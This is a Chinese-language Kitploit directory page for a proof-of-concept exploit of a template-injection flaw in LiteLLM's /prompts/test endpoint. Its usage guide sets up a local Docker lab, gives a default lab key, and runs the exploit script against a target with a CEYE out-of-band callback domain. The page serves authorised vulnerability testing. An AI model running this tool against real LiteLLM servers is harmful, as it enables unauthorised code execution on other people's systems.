Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42203 — CVE-2026-42203 的概念验证漏洞利用程序,针对 LiteLLM 的 /prompts/test 端点中的 SSTI 漏洞,并通过 CEYE 回调验证进行授权测试。 | Kitploit
工具/GitHubGitHub/astianjy/cve-2026-42203
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubastianjy/cve-2026-42203

CVE-2026-42203

CVE-2026-42203 的概念验证漏洞利用程序,针对 LiteLLM 的 /prompts/test 端点中的 SSTI 漏洞,并通过 CEYE 回调验证进行授权测试。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

LiteLLM CVE-2026-42203 PoC 使用说明

本文说明如何启动本地 LiteLLM 环境,并执行 CVE-2026-42203.py 验证 /prompts/test SSTI 漏洞。

仅在你拥有授权的本地实验环境中使用。不要把脚本指向未授权的公网目标。

1. 启动本地环境

进入 Lab 目录,启动 LiteLLM、Postgres 和 Prometheus:

root@kitploit:~
docker compose up -d

查看容器状态:

root@kitploit:~
docker compose ps

确认服务可访问:

root@kitploit:~
curl http://127.0.0.1:4000/

Master_Key 默认为:sk-master-test-key-1234

2. 配置 CEYE 和 LiteLLM Key

http://ceye.io/profile

通过命令行参数传入:

root@kitploit:~
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
  --auth 'sk-local-test-key' \
  --ceye-domain 'your-id.ceye.io' \
  --ceye-token 'your-ceye-api-token'

变量含义:

  • LITELLM_API_KEY:LiteLLM 的访问 Key,本地 Docker 环境通常对应 .env 中的 LITELLM_MASTER_KEY。
  • CEYE_DOMAIN:你的 CEYE 子域名,例如 xxxxxx.ceye.io。
  • CEYE_TOKEN:你的 CEYE API Token,用于查询回连记录。

3. 执行 PoC

完整示例:

root@kitploit:~
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
  --target http://127.0.0.1:4000 \
  --auth 'sk-local-test-key' \
  --ceye-domain 'your-id.ceye.io' \
  --ceye-token 'your-ceye-api-token'

关键参数:

  • --target:LiteLLM 服务地址,默认是 http://127.0.0.1:4000。
  • --auth / --api-key:调用 /prompts/test 使用的 LiteLLM Key。
  • --ceye-domain:CEYE 回连域名。
  • --ceye-token:CEYE API Token。脚本输出时会自动脱敏显示。
  • --wait:等待 CEYE 回连的秒数,默认 20。
  • --interval:轮询 CEYE 记录的间隔秒数,默认 3。
  • --timeout:HTTP 请求超时时间,默认 10 秒。
  • --insecure:目标是自签名 HTTPS 证书时可加此参数,禁用 TLS 证书校验。

4. 结果判断

如果 CEYE 收到回连,脚本会输出:

root@kitploit:~
[VULNERABLE] CEYE received the callback request.

如果等待时间内没有收到回连,脚本会输出:

root@kitploit:~
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.
下载工具